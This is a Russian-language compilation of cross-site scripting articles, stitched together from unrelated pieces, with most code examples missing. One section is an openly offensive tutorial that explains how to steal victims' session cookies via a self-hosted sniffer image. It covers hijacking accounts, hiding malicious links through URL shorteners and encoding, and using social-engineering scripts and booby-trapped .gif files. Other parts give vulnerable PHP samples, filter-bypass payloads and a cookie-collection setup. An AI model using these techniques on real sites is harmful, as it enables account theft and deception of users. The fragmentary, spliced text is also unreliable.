Короткое собеседование что это такое http site com page php var script alert xss script

XSS глазами злоумышленника

Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Как-то не очень страшно 🙂 Чем же действительно может быть опасной данная уязвимость?

Пассивная и активная

Существует два типа XSS уязвимостей — пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть <iframe>, <img>, <script>, background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Подделка межсайтовых запросов (CSRF/XSRF)

Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

XSS-черви

Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

Безобидный XSS

Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле 🙂 Взгляните, например, на код Google Analytic.

Урок 5

Вот и очередной долгожданный урок! Последующие уроки будут затрагивать гораздо более сложные темы, нежели предыдущие, поэтому без некоторого вступления в тему «уязвимости» (именно они окажутся под нашим пристальным вниманием в последующих уроках) обойтись не получится. Итак, что же такоеуязвимость? Это некоторое несовершенство, недостаток какого-либо приложения, позволяющий при определённых условиях получить повышенные привилегии. Это общий смысл термина. Теперь пройдёмся подробно по всем его составляющим. Уязвимым приложением может являться как программа, установленная на компьютере (в т.ч. драйвера и операционная система), так и любое веб-приложение, например движок сайта или форума (он же CMS —Content Management System, система управления содержимым). Под определёнными условиями понимается не обычное повседневное использование приложения по его прямому назначению, а умышленное эксплуатирование уязвимости (бага). Повышенными привилегиями могут являться: получение доступа к некоторым данным, получение доступа к уязвимому компоненту системы, получение доступа ко всей системе, нарушение работы системы и т.д. Под «повышенными» подразумевается, что в обычных условиях и по замыслу разработчика пользователь не должен был получить данных привилегий и возможностей. Надеюсь, объяснил доступно и суть понятия об уязвимости ясна. Методика эксплуатирования уязвимостей в общих чертах проста: найти и применить уязвимость. Именно этим мы сейчас и займёмся на примере XSS-уязвимости.
ЗЫ схема, по которой будет описываться данная уязвимость, будет в дальнейшем применяться и для описания всех остальных багов.

XSS — Cross Ste Scripting (CSS уже занято Cascade Style Sheets). Уязвимость, возникающая вследствии недостаточной фильтрации вводимых пользователями и в дальнейшем отображаемых на страницах сайта данных. Позволяет разместить непосредственно на страницах сайта произвольный html-код (соответственно, код будет выполняться у всех пользователей, зашедших на страницу).
Давайте подумаем, что значат для нас такие возможности. Что можно сделать интересного при помощи html. Ну, во-первых, можно просто нашалить: вывести надпись огромных размеров (да любые возможности форматирования текста в html) или поставить редирект на другой сайт (на фейк, естественно ). Редирект, если что, делается так:

. Можно также залить эксплойт или выполнить какой-либо javascript-код (как говорится, где html, там и яваскрипт). Выполнение нашего js-кода в свою очередь, даёт возможность позаимствовать аутентификационные данные пользователя — cookies (они же куки, кукисы и печеньки). Это временные файлы, которые сохраняются в браузере пользователя после авторизации. В некоторых случаях можно подставить заимствованные куки вместо своих и таким образом авторизоваться на сайте от чужого лица. Но пока не это для нас главное. Сначала уязвимость нужно… найти!

Для того, чтобы обнаружить xss, нужно проверить на её наличие все потенциально уязвимые элементы сайта. В данном случае таковыми являются поля ввода текста, который в последующем будет отображён на страницах сайта (принтабельные поля). Это могут быть поля отправки сообщения, темы сообщения и т.п. Следует проверять на наличие уязвимости каждое такое поле. Для этого поизводим последовательно всё нижеописанное до тех пор, пока не увидим аналогичное сообщение:

Итак, начинаем искать — подставляем во все принтабельные поля следующий код:

Ничего? Ок, пробуем так:

Опять ничего!? >< Смотрим сурс (исходник) странички и ищем там что-то похожее на код выше (то есть ищем то, что мы туда внедрили ). Нашли? Смотрите, что стало с нашим кодом. Скорее всего, были отфильтрованы спец-символы < и >. Без них код работать, ясное дело, не будет… Они убили скрипт! Сволочи! xD Фильтрация этих символов означает одно: активной xss здесь нет. Но не отчаиваемся, ещё есть вариант с пассивными xss и даже есть шанс обойти фильтрацию! Но об этом чуть позже (см. дополнения).
Если всё же вам удалось лицезреть сообщение, значит вы нашли уязвимое поле! Ура, товарищи!

Для того, чтобы найти уязвимость, мы использовали код alert(»), который выводил пустое сообщение. Теперь, когда уязвимость найдена, можно заменить этот код на тот, который нужен нам. В описании уязвимости я говорил о том, что можно сделать. Вообще, в данном случае ваши возможности ограничены лишь возможностями html и javascript. Но особо хотелось бы осветить вопрос похищения аутентификационных данных пользователя (кукис). Кукис — временные файлы, передаваемые пользователю сервером при входе с целью дальнейшей его идентификации (дабы не вводить пароль при каждом обновлении страницы). Иногда они могут содержать логин и\или пароль пользователя в зашифрованном виде. Этот способ взлома основывается на том, что пользователь (а точнее один из видов xss-уязвимости) выполняет в браузере определённый код. Этот код выполняет запрос на сниффер в виде куков жертвы. Так кукис приходят на сниффер. Важное условие — жертва должна быть авторизована на сайте (должна была получить кукис, которые отправляет скрипт).
Возможно, вам не даёт покоя слово сниффер?

Помимо снифферов сетевых устройств, есть ещё и http-снифферы. Они предназначены для ловли и записи http-запросов, отправленных им, а также ip-адреса и версии браузера пользователя, отправившего запрос. В нашем случае таким запросом на сниффер будут приходить cookies жертвы.
Итак, нам нужно заиметь сей инвентарь — http-сниффер. Качаем и ставим сниффер моей сборки… (MX-software proudly presents… эм, так, о чём это я…) и внимательно там читаем инструкцию по установке! Кстати, советую сначала обкатать и изучить всё на локалхосте (просто так в сто раз быстрее). Поставили? Вот и всё, уже можно юзать!… ах, да, вы же не умеете… но ничего, сейчас объясню!

(Кто умеет, всё равно гляньте по-быстрому, может что нового поймёте =) )
Итак, заходите на сайт, где находится ваш сниффер. Знакомимся с интерфейсом: есть дата и время зачем-то ещё наш ip. За ними кнопочка обновления лога. А ещё есть таккая штука, как картинка сниффера. Имя её в моей сборке — s.gif Вот именно через обращения к этой картинке сниффер и ловит все запросы . Откройте эту самую картинку (yourhost.com/s.gif) и обновите лог. Видите новую запись? В нашем распоряжении время совершения запроса, ip того, кто обратился к картинке, пустая строка запроса (QUERY), реферер (с какого сайта совершено обращение к картинке) и агент (т.е. браузер) пользователя. Теперь попробуйте к ссылке на картинку дописать что-нибудь после знака «?». Например, так:

Обновляем, смотрим строку запроса (QUERY). Вывод: сниффер запишет всё, что было после ? (это и есть запрос).
Итак, если вы нашли xss, вам нужен код, крадущий кукис. Каждый раз при открытии страницы с этим кодом, он будет отправлять на сниффер куки от этой страницы . Для обычной активной xss, рассматриваемой в этом уроке код будет таким:

Можно так же сделать так, чтобы после выполнения кода происходил редирект (переадресация) на другую страницу:

Не забудьте заменить yourhost.com на адрес вашего сниффера во всех кодах!
Вот о чём чуть не забыл! Все эти коды я для удобства присобачил к снфферу, найдёте их там по ссылке «коды для кражи кукис»!

Если пользователь не авторизован на сайте (не вошёл под своим логином и паролем) — у него нет кукис. Если куков нет — будет отправлена пустая строка. Нельзя получить кукис от другого сайта или сервера (например, на ucoz_е кукис с аутентификационными данными находятся на другом сервере и как бы на другом сайте). Кукис имеют ограниченный «срок годности»: по истечении их времени действия на сервере будет изменён номер сессии для данного пользователя и кукис станут «недействительными». Время действия может быть различно в зависимости от настроек сервера или пользовательских. Сессия может быть закрыта так же вручную пользователем, например при нажатии кнопки «выход» на сайте. Иногда в кукисах хранятся зашифрованные логин и/или пароль пользователя (о способах их расшифровки — чуть позже).
Предположим, вам удалось получить кукисы жертвы. Что же теперь с ними делать? Будем подставлять их вместо своих! В Mozilla Firefox такой возможности нет, будем юзать Opera. Заходите на тот самый сайт под своими логином и паролем , дабы создать папку с куками. Теперь топаем в инструменты —> дополнительно —> управление cookies.

Тперь нужно найти папку нужного сайта и заменить наши куки на те, которые пришли на сниффер. Думаю, здесь нет ничего сложного. Кукис приходят в видеимя=значение;. А в папке как раз список имён. Двойной щелчок — открывается окошко. Заменяем поле «значение» и тыкаем ок. Так пока не заменим всё, что нам пришло. Теперь закрываем управление cookies и обновляем страницу. Если всё сделали правильно — вы станете тем, чьи куки подставили (войдёте в его аккаунт)!

Освежим в памяти один момент из основной части урока:

Во время поиска XSS вы гарантированно будете сталкиваться с подобной фильтрацией. При чём фильтроваться могут не только символы < и > , но и многие другие не менее важные для проведения атаки (внедрения работоспособного кода). В их числе:

Просто ставим в принтабельное поле все нужные нам символы, а потом ищем их в исходнике страницы. Чтобы проще было искать, можно ещё добавить в середину какое-нибудь слово, напр. XSS просто для ориентира.
Нашли? Смотрите, что осталось на месте, а что «изуродовалось» фильтром.
Сразу скажу, что если эти символы (хоть какие-то из нужных нам кроме < >) заменяются на что-то другое ли удаляются, оставьте все ваши тщетные попытки внедрить код!
Если же символы < > просто удалились , можно попробовать поставить тег (имено так называют эти скобки и ключевые слова в них), и Фильтр либо пропустит и не удалит это (ведь теперь тэг не пустой), либо отфильтрует как запрещённый тег. Если пропустил — всё шикарно, переходим к вставке нужного нам кода (код сниффера для кражи кукис, помните? ). А если тупо удалил, подставим вместо что-нибудь такое:

Скорее всего, фильтр удалит только в середине, и у нас останется рабочий тег. В случае, если снова удалились только < > , а осталось голое «sсript», тут явный облом и уязвимости нет.
Ну а если < > всё таки фильтруются не всегда? Давайте экспериментировать и попытаемся всё таки вывести сообщение (alert) с текстом!
Начнём с того, что забьём на классический и заменим его каким-нибудь другим тегом. Итак, если alert выводится так:

то в вариациях с различными тегами можно попытаться встроить что-нибудь из этого:

Внимание! По некоторым сведениям, код в теге IMG может не работать в браузере Mozilla Firefox, поэтому предпочтительно избегать использования этого тега.

В общем, экспериментируйте с тегами, смотрите, как они изменяются, анализируйте поведение фильтра и, возможно, найдёте рабочую комбинацию!
Из всего выше прочитанного можно сделать неутешительный вывод, что активная xss — штука тонкая и даже простому фильтру, отсеивающему только символы < > мы не в силах ничего противопоставить. Но ведь не каждый фильтр отсеивает < >, да и неопытные кодеры обычно ставят запрет как раз только на , а мы ведь знаем, что пользоваться можно не только этим тегом.

Что, думали прочитали основную статью с дополнением и на этом всё, уже всё узнали про xss? Рано радутесь! Вплоть до этого момента речь у нас шла только об активных XSS, которые встраивались в тело страницы и сохранялись. Теперь неплохо бы разобраться ещё и с пассивными XSS. Их отличие от активных состоит в том, что пассивки мы внедряем не в тело страницы, а в адресную строку, и код нашей xss не будет сохраняться на сайте, для его выполнения придётся впарить жертве ссылку с кодом. Но обо всём этом поговорим подробно чуть позже. Итак, делаем умное лицо и начинаем вникать! xD

Как вы помните, для поиска активок, мы подставляли скрипт во все принтабельные поля. Теперь мы будем проводить похожий ритуал, только код будем подставлять в адресную строку (естественно, на различных страницах сайта). По поводу адресной строки поясняю…
Допустим, есть адрес _http://site.com/index.php?page=1 То, что там стоит после знака ? (page=1) — это данные, передаваемые скрипту на сервере (имя скрипта идёт перед ? — index.php) get-запросом. Сами данные имеют вид «параметр=значение» (page=1). Вот наши скрипты мы будем подставлять именно как значение (после =). Пока из прочитанного вам нужно хорошо усвоить, как выглядят адреса, в которые можно пропихнуть xss (иначе как вы будете эти уязвимости искать?), а сайты с пассивками для тренировки можно найти тут.
Итак, для проверки будем подставлять после = по очереди скрипт с алертом в различных вариациях:

Ставим после = сначала первый скрипт, жмём энтер, ждём окончания загрузки страницы. И так перебираем, пока не увидим таки вожделенное окошко алерта (картинка была выше). Если подстановка ничего не дала, курим обход фильтров (см. доп. 1).

Когда речь шла об активках, мы с вами говорили о том, что на страницу можно было внедрить любой код. С пассивками всё обстоит точно также, но так как страница с внедрённым кодом нигде не сохраняется и может быть передана жертве только в виде ссылки вместе с xss-кодом, то чаще всего данную уязвимость используют только с целью хищения аутентификационных данных (кукис).
Итак, теперь вместо безобидного скрипта с алертом нужно внедрить крипт сниффера. Тут встают такие проблемы, как множество символов, используемых в скрипте, которые могут фильтроваться, а также значительная длина вставляемого кода. Решать будем очень просто: код сниффера разместим у себя на хосте (можно даже там же где сниффер xD), а в самой xss будет лишь вызов этого скрипта. Как же это реализовать?
Вместо значения в адресной строке (куда подставляли алерт при поиске) вставляем сей код:

Важный момент: если в алерт подставляли код, где перед стояло ещё что-то (например, алерт срабатывал так: «>alert(‘XSS’)), то это что-то (в нашем случае»>) нужно будет оставить и перед кодом сниффера!
Кстати, не забываем заменить yourhost.com в коде на реальный адрес вашего хоста, где будет лежать скрипт. А теперь что касается самого скрипта: файлscript.js имеет такое содержание:

Где s.gif — картинка вашего сниффера, ну а про yourhost.com расскажет капитан Очевидность. хD
Вторая строка — переадресация ползователя куда-либо (в нашем случае в гугл =) ). Если хотите оставить пользователя на той же странице, где он и был, оставьте кавычки пустыми. Но не удаляйте строку редиректа! Иначе пользователь так и останется на странице с картинкой вашего сниффера и может заподозрить неладное… (не знаю что он будет делать, но зачем лишний раз палиться и тревожить нервных юзеров? xD)
Вот теперь при переходе по вашей ядовитой ссылке (которая будет иметь вид _http://site.com/index.php?page=) будет запускаться код сниффера, который, в свою очередь, запишет куки в лог, а потом либо оставит жертву в покое, либо перекинет на другой сайт.
Собственно, все коды, как и файл script.js входят в комплект поставки моего сниффера. Приятного вам хака!

Ещё немного дополню… имхо давать пользователям (а тем более админам) вот такие ссылки

в открытом виде слишком палевно… вам не кажется? Сейчас будем их прятать!
Способ 1: топаем на tinyurl.com и вбиваем туда нашу ссылку. Получаем в результате другую… короткую и загадочную �� А результат её работы — тот же :banana:
Способ 2: будем шифровать в base 64. Заходим сюда и кладём в поле нашу ссылку. Жмём «Encode» и получаем:

Это наша ссылка в base64. Теперь можно преподносить её жертве в виде

Способ 3: кодируем в url ядовитую часть ссылки. Кодировать можно тут. Получим ссылку такого вида:

Во всех 3 случаях результат работы и способ применения ссылки один и тот же. Не забывайте, что при этом ещё необходимо правильно применить СИ, чтобы жертва перешла по ссылке, находясь на атакуемом сайте!

Наконец-то добрались до последнего вида xss! По технике проведения атак эти xss, пожалуй, самые простые. Здесь не нужно искать никаких уязвимостей, здесь не нужно бояться фильтрации на сайте и заботиться о её обходе, здесь для проведения атаки кроме доверчивой жертвы вообще ничего не нужно (и это, блин, главный минус). Суть атаки заключается в том, что мы впариваем жертве ядовитый код с картинкой сниффера, как и раньше, она вставляет код в адресную строку, чтобы он выполнился, но…
1) этот код — не ссылка, поэтому будет работать с любого сайта. То есть жертва может запустить код вообще в новом окне и никаких кукисов не придёт((
2) жертва может заподозрить неладное, когда нельзя просто нажать на ссылку, а нужно её в адрес копировать.
Хотя эти проблемы легко решаются при помощи СИ (социальной инженерии). Можно, например сказать так:

Но это если жертва… блондинко\тупая\любопытный пацанчик (нужное подчеркнуть). Хотя любопытство очень часто берёт верх над здравым смыслом… даже если здравый смысл говорит: «ссылка не знакомая… ненадо!…хотяяяя…» Если ваша цель — менее падкий на всякие «глупые прикольчики» человек, можно предложить такой вариант:

Итак, это были просто примеры применения СИ в этой ситуации, думаю с впариванием кода всё ясно. =)
Что-то меня занесло в другую тему и я отвлёкся (ну ничего, это тоже может пригодиться)…
Всётаки вернёмся к сути… как вы уже поняли, код выполняется при вставке в адресную строку и нажатии на Enter. Попробуйте вставить это (знакомый код, а? =) ):

Думаю, много пояснений не нужно, вот сам код (в моей сборке сниффера он есть):

Если хотите после выполнения кода оставить пользователя где он был, то так этот скрипт и сделает)) А если надо добавить редирект, допишите после 2 фразы location.href адрес, куда нужно редиректить. Например, так:

А ещё, если вы использовали легенду о «коде подтверждения», можете в конец этого скрипта дописать что-нибудь такое (чтобы успокоить взволнованного пользователя):

Для меньшей палевности адресов и большей загадочности кода (чтобы у юзеров отпало желание разбираться), можно воспользоваться точно теми же методами шифрования, что были приведены в дополнении 3.

Почему в этой части уделил так много внимания СИ? Да потому, что в случае с самодостаточными xss сложностей по технической части чуть меньше чем нихрена, а самое главное — ненавязчиво, но понятно и убедительно объяснить жертве, куда и как вставлять код.
Ну чтож, вперёд на сервисы анонимной отправки почты рассылать наш код! xD

Я вернулся и решил описать ещё пару методов вставки xss кода! *ацкий смех*
Есть на многих сайтах возможности выкладывать картинки, а иногда даже флэш-анимации(!) прямиком на страницы сайта (или форума или блога). И я говорю не о том, что мы видели вконтакте, когда картинки загружаются на сервер, а потом там обрабатываются перед добавлением на страницы, а когда мы указываем ссылку на изображение и происходит его прямая вставка на страницу. Грех не воспользоваться такой возможностью! Хитрость в том, что можно ведь в картинку и код сниифера вставить и получится у нас таким образом активная xss (которые по понятным причинам ценнее и эффективнее пассивок), ведь атаке будет подвержен каждый, кто встретит картинку на сайте.

Тут всё проще простого. Создаём файл с содержимым в виде кода для пассивки:

И сохраняем с расширением .gif Теперь заливаем это на какой-нибудь хостинг, чтобы получить прямую ссылку к картинке безо всяких изменений.
Вот теперь можно класть картинку на форумы, в блоги, гостевые и везде, где есть вставка картинок.
Кстати, эту фишку можно провести не только с вставкой картинок, но и любых других файлов, в тех случаях, если файл можно залить на сайт и если егосодержимое будет отображаться на странице сайта .

Отраженный XSS

Отраженный XSS – это атака, выполняемая через веб-сервер, но не хранящаяся в коде или базе данных. Так как она нигде не хранится, хозяин сайта может и не подозревать, что его атакуют.

Чтобы продемонстрировать эту атаку, пойдем на отличный тренировочный сайт от Google — XSS Game. На этом сайте несколько упражнений на выполнение XSS-атак. Они возрастают по сложности по мере вашего прогресса. Попробуем выполнить первое из них.

На странице вы увидите простое поле поиска и кнопку. Для выполнения атаки вам нужно напечатать вот что:

в этом текстовом поле, а затем нажать на кнопку. Вы увидите, как ваше сообщение, «XSS here!», всплывет в новом окне.

Что тут произошло? Вы отправили скрипт, инициирующий всплывающее окно предупреждения, на сервер. Код клиентской части не защищен от выполнения такого скрипта, поэтому сайт его исполняет.

Вы, возможно, думаете «Ну да, это забавно, но как злоумышленник воспользуется этим, чтобы меня взломать? Я печатаю в моем собственном окне поиска». Один из способов – это фишинговые ссылки. Допустим, вы хозяин сайта. Злоумышленник может создать ссылку, ведущую на ваш сайт, и прицепит к ее концу скрипт, к примеру, вот так:

(это та же самая наша атака, только в HTML-кодировке). Злоумышленник может отправить эту ссылку в письме ничего не подозревающему пользователю сайта, оформив письмо так, чтобы оно выглядело полученным от вас. Когда человек кликнет по ссылке, скрипт переместится на ваш сайт, а затем выполнится. Злоумышленник составит скрипт так, что вместо безобидного сообщения «XSS here!» он будет содержать сообщение, приглашающее пользователя взаимодействовать с ним, дабы получить, к примеру, номер учетной записи пользователя и другую секретную информацию.

Сохраненный XSS

Сохраненный XSS – это атака, при которой зловредный скрипт реально хранится в базе данных или коде сайта, поэтому выполняется, как только пользователь перемещается на страницу или ссылку. Это может произойти, если создатель сайта недостаточно защитил базу данных бэкэнда.

Давайте посмотрим, как работает эта атака, выполнив второе упражнение XSS Game. Чтобы перейти к нему, нужно выполнить первое, поэтому следуйте инструкциям из первой части статьи.

Второе упражнение – это чат-приложение. Чтобы справиться с ним, вам нужно добавить в приложение текст, который инициирует скрипт. Это можно сделать, напечатав следующее:

Как только вы опубликуете это, вы увидите попап-окошко с сообщением «XSS alert!». И не только! Если вы уйдете с этой страницы и вернетесь назад, вы снова увидите окошко. Атака хранится в вашем комментарии на странице чата, и покажет всплывающее окно всем, кто перейдет туда.

Давайте разберем наш скрипт, чтобы понять, что же он делает:

Красный текст означает, что мы передаем изображение.

Синий текст сообщает серверу источник изображения. Тут-то и таится фокус – такого URL, как «foobar», не существует, и картинка не может загрузиться.

Зеленый текст сообщает серверу, что в случае ошибки нужно показать всплывающее окно с текстом «XSS». Так как мы настроили все так, что ошибка будет выдаваться всегда, этот попап всегда будет появляться.

Один из способов использования сохраненных XSS – это имитация окна авторизации. Когда пользователь переходит на взломанный сайт, он увидит окно авторизации, которое выглядит совсем как настоящее. Введя свой логин и пароль, он отправит их злоумышленнику, который сможет использовать их для авторизации и имитации своей жертвы.

Полное пособие по межсайтовому скриптингу

В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями. Уязвимость межсайтового скриптинга может использоваться атакующим для обхода таких механизмов безопасности как политика единства происхождения. Согласно данным Symantec за 2007 год, XSS уязвимости составили 80.5% от общего числа брешей, обнаруженных на сайтах. Рейтинг опасности таких уязвимостей может варьироваться в зависимости от важности данных, хранящихся на уязвимом сайте и существующих механизмов защиты».
Вкратце, XSS или CSS (Cross-site Scripting, аббревиатура, которая также означает Cascading Style Sheets – таблицы каскадных стилей) является довольно распространенной уязвимостью среди Web-приложений. XSS позволяет атакующему внедрить вредоносный код на страницу и отправить его обратно в браузер пользователя, где этот код будет выполнен. Причиной этому являются доверительные отношения разработчика приложения к входным данным или некорректная фильтрация входных данных.

XSS опасен

XSS действительно является уязвимостью высокой степени опасности, поскольку она может использоваться для изменения DOM-модели сайта, что в свою очередь позволит похитить учетных данных администратора сайта и получить полный контроль над уязвимым приложением.

Какие цели преследует атакующий?

Изменение настроек
Кража файлов куки
Размещение ложной рекламы
Хищение токенов форм для проведения CSRF атак
И другое, необходимо творчески подходить к эксплуатации XSS

Типы XSS

Существует три типа XSS уязвимостей:

Постоянный (хранимый) XSS
- Вредоносный код храниться на сайте или сервере
- Пользователю необходимо посетить специально сформированную ссылку
- Источник проблемы находится в клиентском сценарии
Далее мы подробно обсудим каждый их этих типов.

Постоянный (хранимый) XSS

Википедия характеризует хранимый XSS как наиболее разрушительный тип атак. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений.
Другими словами, хранимый XSS возникает, когда разработчики осуществляют некорректную фильтрацию при сохранении входных данные в БД на сервере или в при записи этих данных в файлы, а затем выводят эти данные в браузер пользователю.

Демонстрация хранимого XSS

Ниже приведен пример PHP сценария, уязвимого к хранимому XSS:

<?php
if(isset($_POST[‘btnSign’]))
<
$message=trim($_POST[‘mtxMessage’]);
$name=trim($_POST[‘txtName’]);
// Обработка введенного значения переменной message
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Обработка введенного значения переменной name
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES (
‘$message’,’$name’);";
$result=mysql_query($query) or die(‘<pre>’.mysql_error().'</pre>’);
>
?>

В коде не осуществляется корректная обработка параметров “message” и “name” перед сохранением данных в таблицу guestbook. Таким образом, при выводе этих данных в браузер пользователя существует возможность выполнение вредоносного JavaScript кода.

В демонстрационных целях при попробуем проэксплуатировать эту уязвимость на примере DVWA.

После отправки этой формы можем посмотреть на выполнение нашего JavaScript кода:

Непостоянный (отраженный) XSS

Согласно Wikipedia, непостоянный XSS является наиболее распространенным типом XSS. Непостоянный XSS имеет место, когда данные, предоставляемые Web-клиентов в строке запроса или HTML форме, используются для генерации ответа клиенту без обработки этих данных.

Демонстрация отраженного XSS

Ниже приведен пример кода, уязвимого к отраженному XSS:

Как видно из примера, очистка данных не осуществляется для параметра “name” перед его выводом в браузера пользователя. Таким образом, если в него внедрить JavaScript сценарий, это сценарий будет выполнен.

Мы воспользуемся приложением DVWA для демонстрации этой уязвимости:

Давайте внедрим код “<script>alert(“xss”);</script>” в элемент формы:

XSS в DOM-модели

Согласно Wikipedia, XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов.

Таким образом, XSS возникает непосредственно внутри JavaScript сценария. Примером к этой уязвимости может служить сценарий, который получает данные из URL через location.* DOM или посредством XMLHttpRequest запроса, и затем использует их без фильтрации для создания динамических HTML объектов.

Демонстрация XSS в DOM-модели

Для примера мы воспользуемся сценарием, который позволяет пользователю выбрать язык интерфейса. Язык по умолчанию передается посредством URL в параметре “default”. Обработка языка интерфейса осуществляется следующим образом:

Доступ к этой странице осуществляется по следующему адресу: http://www.some.site/page.html?default=French

Для эксплуатации XSS уязвимости в DOM-модели мы выполним следующий запрос:

Исходный JavaScript сценарий не ожидает, что входные данные могут содержать HTML код, поэтому просто выводит их на странице. Затем браузер обрабатывает этот код и выполняет сценарий alert(document.cookie).

Теперь давайте рассмотрим некоторые методы эксплуатации уязвимостей межсайтового скриптинга.

Методы эксплуатация XSS

Далеко не все методы фильтрации помогают защитить сайт от XSS. Ниже мы рассмотрим самые популярные варианты фильтрации данных и техники обхода таких фильтров.

Метод 1: замена «<script>» на пустую строку

Ниже приведен код, который, несмотря на фильтрацию, уязвим к XSS.

<?php
if(!array_key_exists ("name", $_GET) || $_GET[‘name’] == NULL || $_GET[‘name’] == ») <
$isempty = true;
> else <
echo ‘<pre>’;
echo ‘Hello ‘ . str_replace(‘<script>’, », $_GET[‘name’]);
echo ‘</pre>’;
>
?>

В сценарии проверяется соответствие строке «<script>» в нижнем регистре. Самый распространенный метод обхода такой фильтрации состоит в замене строки «<script>» строкой «<SCRIPT>». Так, изменив регистр, можно обойти описанную фильтрацию.

Также есть еще один способ обойти такую фильтрацию:

Стоит отметить, что использование alert(“XSS”) для тестирования XSS нежелательно, поскольку большинство сайтов блокируют сценарии по ключевому слову «XSS».

Метод 2: использование magic quotes

Применяя этот метод, разработчик использует фильтрацию функции «addslashes()» языка PHP, которая добавляет символ «\» перед любым специальным символом. Таким образом, код, написанный на JavaScript, не будет выполнен.

Существует несколько способов обойти такую фильтрацию. Остановимся на двух из них.
1. Самый простой способ обойти такой фильтр – не использовать кавычки. Например, присваивать значение переменной, а затем выполнять эту переменную, что продемонстрировано в этом коде: <script>var val= 1; alert(val)</script>
2. Второй способ менее тривиален. Для обхода фильтрации вторым способом используется стандартная функция, переводящая числовое значение в ASCII-код. Полная таблица ASCII-кодов расположена по адресу http://www.asciitable.com. Таблица ASCII-кодов поможет в написании того, чего хотите Вы. Также можно использовать дополнение к браузеру Firefox – hackbar. Дополнение hackbar может быть полезно при конвертации данных из ASCII-кода в числовые значения. В данном примере строка «XSS» будет представлена как «120 115 115». Итак, зная числовые значения, необходимо только узнать название функции, конвертирующей числовые значения в ASCII-код. Эта функция называется «String.fromCharCode()», используя её в данном примере, можно обойтись совсем без кавычек.
  <script>alert(String.fromCharCode(120, 115, 115)</script>
  Данный код выведет на экран наше сообщение (в данном случае — «XSS»). Вышеописанный метод очень эффективен для обхода фильтрации magic quotes.
Как злоумышленник может украсть файлы куки?

На первый взгляд, что кража файлов куки – это сложная и кропотливая работа. На самом деле для успешного хищения файлов куки необходимы лишь общие навыки программирования и понимание XSS уязвимости.

Для демонстрации мы создадим сценарий collect_cookie.php на языке PHP, который будет размещен на сервере любой компании, предоставляющей хостинг. После этого будет внедрен код на языке JavaScript, который будет похищать файлы куки и передавать их на наш сайт. Когда php-файл получит данные, он сохранит их в файл stolen_cookies.txt.

Чтобы похитить файлы куки необходимо наличие трех составляющих:
- PHP-скрипт, который будет получать данные
- JavaScript-код, который будет воровать куки и отправлять их на наш сайт
- Компанию, предоставляющую веб-хостинг, чтобы разместить PHP-скрипт
